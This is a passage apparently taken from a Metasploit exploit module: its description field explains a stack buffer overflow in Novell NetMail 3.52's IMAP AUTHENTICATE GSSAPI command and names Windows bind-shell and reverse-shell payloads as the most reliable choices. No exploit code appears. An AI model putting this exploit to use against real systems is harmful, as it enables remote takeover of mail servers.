'Description'=> %q{

This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP AUTHENTICATE

GSSAPI command. By sending an overly long string, an attacker can overwrite the

buffer and control program execution. Using the PAYLOAD of windows/shell_bind_tcp

or windows/shell_reverse_tcp allows for the most reliable results.
